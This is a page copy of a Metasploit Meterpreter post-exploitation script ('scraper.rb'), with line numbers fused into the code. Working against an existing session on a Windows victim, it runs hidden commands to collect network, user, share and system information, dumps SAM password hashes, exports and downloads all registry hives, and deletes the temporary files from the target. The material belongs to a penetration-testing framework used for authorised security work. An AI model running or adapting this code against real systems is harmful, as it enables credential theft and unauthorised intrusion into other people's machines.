Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/scraper.rb
Views: 11768
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567# This is a Meterpreter script designed to be used by the Metasploit Framework8#9# The goal of this script is to obtain system information from a victim through10# an existing Meterpreter session. This is only a simple example of what can11# be accomplished through Meterpreter scripting.12#13# hdm[at]metasploit.com14#15opts = Rex::Parser::Arguments.new(16"-h" => [ false,"Help menu." ]17)1819opts.parse(args) { |opt, idx, val|20case opt21when "-h"22print_line("Scraper -- harvest system info including network shares, registry hives and password hashes")23print_line("Info is stored in " + ::File.join(Msf::Config.log_directory,"scripts", "scraper"))24print_line("USAGE: run scraper")25print_line(opts.usage)26raise Rex::Script::Completed27end28}2930require 'fileutils'3132# Some of this script was developed in conjunction with _MAX_ (max[at]remote-exploit.org)33# The complete version will be released in the future as 'autometer'3435# Delete a file (meterpreter has no unlink API yet)36def m_unlink(client, path)37r = client.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'})38while(r.name)39select(nil, nil, nil, 0.10)40end41r.close42end43def unsupported44print_error("This version of Meterpreter is not supported with this Script!")45raise Rex::Script::Completed46end47# Exec a command and return the results48def m_exec(client, cmd)49begin50r = client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})51b = ""52while(d = r.channel.read)53b << d54break if d == ""55end56r.channel.close57r.close58b59rescue ::Exception => e60print_error("Failed to run command #{cmd}")61print_error("Error: #{e.class} #{e}")62end63end6465666768# Extract the host and port69host,port = client.session_host, client.session_port7071print_status("New session on #{host}:#{port}...")7273# Create a directory for the logs74logs = ::File.join(Msf::Config.log_directory, 'scripts','scraper', host + "_" + Time.now.strftime("%Y%m%d.%M%S")+sprintf("%.5d",rand(100000)) )7576# Create the log directory77::FileUtils.mkdir_p(logs)7879unsupported if client.platform != 'windows'80begin8182tmp = client.sys.config.getenv('TEMP')8384print_status("Gathering basic system information...")8586::File.open(File.join(logs, "network.txt"), "w") do |fd|87fd.puts("=" * 70)88client.net.config.each_route do |route|89fd.puts("Local subnet: #{route.subnet}/#{route.netmask}")90end9192fd.puts("=" * 70)93fd.puts(m_exec(client, "netstat -na"))9495fd.puts("=" * 70)96fd.puts(m_exec(client, "netstat -ns"))97end9899info = client.sys.config.sysinfo()100::File.open(File.join(logs, "system.txt"), "w") do |fd|101fd.puts("Computer: #{info['Computer']}")102fd.puts("OS: #{info['OS']}")103end104105::File.open(File.join(logs, "env.txt"), "w") do |fd|106fd.puts(m_exec(client, "cmd.exe /c set"))107end108109::File.open(File.join(logs, "users.txt"), "w") do |fd|110fd.puts(m_exec(client, "net user"))111end112113::File.open(File.join(logs, "shares.txt"), "w") do |fd|114fd.puts(m_exec(client, "net share"))115end116117::File.open(File.join(logs, "services.txt"), "w") do |fd|118fd.puts(m_exec(client, "net start"))119end120121::File.open(File.join(logs, "nethood.txt"), "w") do |fd|122fd.puts(m_exec(client, "net view"))123end124125::File.open(File.join(logs, "localgroup.txt"), "w") do |fd|126fd.puts(m_exec(client, "net localgroup"))127end128129::File.open(File.join(logs, "group.txt"), "w") do |fd|130fd.puts(m_exec(client, "net group"))131end132133::File.open(File.join(logs, "systeminfo.txt"), "w") do |fd|134fd.puts(m_exec(client, "systeminfo"))135end136137begin138client.core.use("priv")139hashes = client.priv.sam_hashes140print_status("Dumping password hashes...")141::File.open(File.join(logs, "hashes.txt"), "w") do |fd|142hashes.each do |user|143fd.puts(user.to_s)144end145end146rescue ::Exception => e147print_status("Error dumping hashes: #{e.class} #{e}")148end149150print_status("Obtaining the entire registry...")151hives = %w{HKCU HKLM HKCC HKCR HKU}152hives.each do |hive|153print_status(" Exporting #{hive}")154155tempname = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}.reg"156m_exec(client, "reg.exe export #{hive} #{tempname}")157158print_status(" Downloading #{hive} (#{tempname})")159client.fs.file.download_file(File.join(logs, "#{hive}.reg"), tempname)160161print_status(" Cleaning #{hive}")162m_unlink(client, tempname)163end164165print_status("Completed processing on #{host}:#{port}...")166167rescue ::Exception => e168print_status("Exception: #{e.class} #{e} #{e.backtrace}")169end170171172173